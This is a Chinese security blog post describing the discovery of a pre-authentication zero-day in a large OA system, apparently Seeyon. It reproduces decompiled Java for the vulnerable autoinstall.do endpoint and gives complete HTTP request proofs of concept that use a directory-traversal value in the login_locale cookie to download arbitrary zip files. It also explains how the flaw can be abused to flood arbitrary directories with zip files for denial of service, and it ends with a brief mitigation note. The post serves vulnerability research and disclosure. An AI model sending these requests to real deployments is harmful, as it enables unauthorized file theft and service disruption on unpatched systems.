记一次某大型oa前台0day挖掘

华盟原创文章投稿奖励计划

原文首发在:先知社区

原文链接:https://xz.aliyun.com/news/91624

漏洞sink发现(任意zip文件下载

1.想要寻找文件下载相关的漏洞,自然的联想到下载相关的请求头写法:

response.setHeader("Content-Disposition",

2.将Lib文件中的jar包拖入jadx-gui进行寻找:

自动草稿

3.最终定位到如图所示代码:

自动草稿

4.往上跟发现是从cookie里面获取的(cookie内容我们是可控的):

自动草稿

poc构造

1.我们复制文件的路径com.seeyon.apps.autoinstall.controller.AutoInstallController,在idea中搜索:

自动草稿

这个bean标签的name属性,就是我们需要访问的路由:autoinstall.do

2.跟进发现AutoInstallController继承BaseController,而BaseController又继承MultiActionController:

而且注意,这里有@NeedlessCheckLogin注解,说明这里是一个前台就能访问的点,不需要登录

自动草稿自动草稿

这里补充一个知识点:MultiActionController是Spring MVC早期提供的一个多方法分发控制器基类

我们可以通过搜索methodNameResolver,找到传参方式:这里的value的值就是我们传参的值,也就是method=xxx (xxx为函数名)

自动草稿

3.来到漏洞函数:

@SetContentTypepublic ModelAndView regInstallDown64(HttpServletRequest request, HttpServletResponse response) throws Exception {    String localeName = "";    Cookie[] cookies = request.getCookies();    for(Cookie cookie : cookies) {        if ("login_locale".equals(cookie.getName())) {            localeName = cookie.getValue();        }    }    if (Strings.isBlank(localeName)) {        String lang = request.getHeader("Accept-Language");        Locale defaultLocale = lang == null ? (Locale)LocaleContext.getAllLocales().get(0) : LocaleContext.parseLocale(lang);        localeName = I18nUtil.getLocalAsString(defaultLocale);    }    if (localeName.contains(",")) {        localeName = localeName.substring(0, localeName.indexOf(","));    }    String separator = System.getProperty("file.separator");    String fileName = SystemEnvironment.getSystemTempFolder() + separator + "regInstall64_" + request.getServerName() + "_" + localeName + ".zip";    String url = request.getRequestURL().toString();    url = url.substring(0, url.indexOf(SystemEnvironment.getContextPath() + "/"));    OutputStream out = null;    BufferedInputStream br = null;    BufferedWriter writer = null;    try {        if (!(new CtpLocalFile(fileName)).exists()) {            String productLine = SystemEnvironment.getProductLine().replace("V5", "").replace("+", "");            String regDir1 = SystemEnvironment.getApplicationFolder() + separator + "autoinstall" + separator + "regInstall64";            String regDir2 = SystemEnvironment.getApplicationFolder() + separator + "autoinstall" + separator + "V5Common";            String tempDir = SystemEnvironment.getSystemTempFolder() + separator + UUID.randomUUID().toString() + separator + "regInstall64";            String urlTxt = tempDir + separator + "SeeyonActivexInstall" + separator + "url.txt";            String localeTxt = tempDir + separator + "SeeyonActivexInstall" + separator + "locale.txt";            CtpLocalFile tempFile = new CtpLocalFile(tempDir);            if (!tempFile.exists()) {                tempFile.mkdirs();            }            FileUtils.copyDirectoryToDirectory(new CtpLocalFile(regDir2), new CtpLocalFile(tempDir + separator + "SeeyonActivexInstall"));            FileUtils.moveDirectory(new CtpLocalFile(tempDir + separator + "SeeyonActivexInstall" + separator + "V5Common"), new CtpLocalFile(tempDir + separator + "SeeyonActivexInstall" + separator + productLine));            FileUtils.copyDirectoryToDirectory(new CtpLocalFile(regDir1), new CtpLocalFile((new CtpLocalFile(tempDir)).getParent()));            CtpLocalFile urlFile = new CtpLocalFile(urlTxt);            if (!urlFile.exists()) {                urlFile.createNewFile();            }            CtpLocalFile localeFile = new CtpLocalFile(localeTxt);            if (!localeFile.exists()) {                localeFile.createNewFile();            }            BufferedWriter var32 = new BufferedWriter(new FileWriter(new CtpLocalFile(urlTxt)));            var32.write(url);            var32.flush();            var32.close();            writer = new BufferedWriter(new FileWriter(new CtpLocalFile(localeTxt)));            writer.write(localeName);            writer.flush();            writer.close();            if (!(new CtpLocalFile(fileName)).exists()) {                ZipUtil.zip(new CtpLocalFile(tempDir), new CtpLocalFile(fileName), false, "GBK", ResourceUtil.getString("common.auto.install.Note2"));            }        }        br = new BufferedInputStream(new FileInputStream(fileName));        byte[] buf = new byte[1024];        int len = 0;        response.setContentType("application/x-msdownload; charset=UTF-8");        response.setHeader("Content-disposition", "attachment;filename=\"SeeyonActivexInstall64_" + localeName + ".zip\"");        out = response.getOutputStream();        while((len = br.read(buf)) > 0) {            out.write(buf, 0, len);        }    } catch (Exception e) {        if (e.getClass().getSimpleName().equals(this.clientAbortExceptionName)) {            log.debug("辅助程序下载异常:" + e.getMessage());        } else {            log.error("", e);        }    } finally {        if (out != null) {            out.close();        }        if (br != null) {            br.close();        }        if (writer != null) {            writer.close();        }    }    return null;}

4.我们先构造数据包,传入正常的cookie进行调试,找到文件读取的路径,如图:

构造流程如下:该oa有一个contextPath为seeyon,大多数的路由都是以seeyon为根路由,而autoinstall.do正是我们之前寻找到的Controller对应bean属性的name值,method=漏洞存在的函数

POST /seeyon/autoinstall.do HTTP/1.1Host: 192.168.127.129X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01Origin: http://192.168.127.129Referer: http://192.168.127.129/seeyon/main.do?method=mainAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: login_locale=zh_CN;Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 23method=regInstallDown64
自动草稿
自动草稿

这里,我们找到了正常流程所在的目录:

自动草稿

下载在这里:

自动草稿

5.知道了文件所在路径,由于cookie中并没有对目录穿越字符../的限制,代码中也没有对../进行限制,因此我们可以对login_locale进行构造,读取任意目录下的zip文件。

6.假设Logs目录存在一份打包过的Logs.zip文件,这里我们尝试读取它:

自动草稿

根据上一步可知,我们之前的目录在C:\Seeyon\A8\base\temporary ,这样子是相差了两层目录,而代码中:

String fileName = SystemEnvironment.getSystemTempFolder() + separator + "regInstall64_" + request.getServerName() + "_" + localeName + ".zip";

这里如果我们使用目录穿越,也就是localeName存在../字符,那么前面的"regInstall64_" + request.getServerName() + "_"又会多出一个不存在的目录,因此我们需要跨越三层目录才能够读到Logs.zip。

漏洞poc如下:(构造login_locale=/../../../Logs;)

POST /seeyon/autoinstall.do HTTP/1.1Host: 192.168.127.129X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01Origin: http://192.168.127.129Referer: http://192.168.127.129/seeyon/main.do?method=mainAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: login_locale=/../../../Logs;Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 23method=regInstallDown64
自动草稿

成功在前台读取到Logs.zip文件。

7.我们使用成功的payload,再跟一下代码:

自动草稿
自动草稿

可以看到,这里已经跨目录成功

漏洞延伸(dos攻击

1.分析完漏洞可以发现,该漏洞可以读取系统中的任意zip文件,但是我们不好猜测文件的名字,因此略显鸡肋,因此我们继续看代码,看看有没有能够对系统造成破坏的点。

2.问题就出现在这里:

自动草稿

这里的CtpLocalFile就是对原生File类的一个封装,这段话的意思就是,如果fileName不存在,就重新创建一个,并且把一堆东西放入fileName,那这个fileName是什么呢,就是我们传入的login_locale进行拼接的呀,也就是说,我们可以短时间内传入任意名字的压缩包到任意目录,进行dos攻击

自动草稿
自动草稿

漏洞防护

说到防护,那自然是对login_locale进行字符过滤,防止传入../等恶意字符串进行跨目录的操作。

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

本文原创,作者:华盟君,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/349618.html

发表回复